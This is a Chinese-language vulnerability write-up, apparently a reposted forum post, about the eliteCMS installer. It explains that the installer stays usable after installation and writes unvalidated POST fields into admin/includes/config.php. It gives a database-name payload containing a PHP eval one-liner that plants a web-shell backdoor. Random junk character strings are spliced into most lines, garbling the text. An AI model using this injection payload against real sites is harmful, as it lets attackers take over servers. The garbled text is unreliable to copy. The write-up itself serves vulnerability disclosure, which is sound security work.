eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装& S& [8 h* L8 N `9 d2 V0 f
1 q- R a) H+ o3 U6 N" {另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php( ^/ U7 @. q: v! N7 D4 E0 z. ?0 O
我们来看代码:
7 k8 W4 p/ f: H5 g- G ! P( u* j% ~! M
...% ]: O: ?& c& Q% i6 b& d) k
elseif ($_GET['step'] == "4") {/ I& p# b) G- l$ x9 X
$file = "../admin/includes/config.php";
* Z" N A& C2 L$ }" i+ \6 o# U6 @ $write = "<?php\n";/ A& _6 G/ ?" K* t
$write .= "/**\n";2 J5 W& D& T; K+ }1 ?+ t
$write .= "*\n";
0 A/ m5 G6 S" T' c $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
8 y5 D" U' ]$ o9 V/ `...略...- l/ ?$ |; i4 ~& A* h7 X& K
$write .= "*\n";+ Y7 X/ P+ N/ O( [' ^
$write .= "*/\n";
" \: T$ V( J9 h) y3 A $write .= "\n";
. T" k9 f5 ]4 G. G% B( ^& }* V# q $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";% v/ Y* [ E1 a
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
; ?2 u* c5 F! R! J a $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
, X1 _+ h: l5 V; u! p; D $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";7 Z0 H! K5 P. _ c3 L
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";; X+ T B) X1 o4 l: l* b
$write .= "if (!\$connection) {\n";1 P9 ?5 B A6 E- i! c# k
$write .= " die(\"Database connection failed\" .mysql_error());\n";( h* ]7 H4 ~! [9 ^, m% w
$write .= " \n";
% _; A6 K9 h: E $write .= "} \n";
, \9 f. A9 |$ f( \2 t, _+ J $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";: S8 D" O$ I& f; w1 |
$write .= "if (!\$db_select) {\n";
1 @2 y f2 N* `$ l- r* E- f" Q $write .= " die(\"Database select failed\" .mysql_error());\n";, e& Y" n6 ~2 x
$write .= " \n";
5 u) U# W: [1 n$ N* @# O $write .= "} \n"; e9 G4 h9 l" @) o% \: Y, H
$write .= "?>\n";
( h+ s* I5 `' X* b3 c l& p. \& a; A* L* Q- j0 L
$writer = fopen($file, 'w');
& E: V( M# a( f% t! X& L& b: f...
! ^- p p1 W3 l3 c2 O1 a 8 c" k, x% e r4 i5 Y
在看代码:' z# D3 n, V# s A
: ?3 E5 n% W- g0 D- |! y7 s
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
, E h9 Q& C0 l% w$_SESSION['DB_NAME'] = $_POST['DB_NAME']; ?0 ?5 g: O9 R' V7 i
$_SESSION['DB_USER'] = $_POST['DB_USER'];8 _' T& l7 K- V1 W0 E' {
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
. x% W" B. E' r
2 T: b) X- m# R& E取值未作任何验证* v; f4 K! A# N/ ~) E" N0 ]
如果将数据库名POST数据: Q L. R3 a f" [
7 E5 }/ P& D: I0 m; w& y8 b9 |0 g
"?><?php eval($_POST[c]);?><?php
P, w5 ^& [7 ~* j! T7 P ! v0 M. w) r D- U Q) n# }
将导致一句话后门写入/admin/includes/config.php; y, E: u9 Y& `7 N, B7 Z5 @
|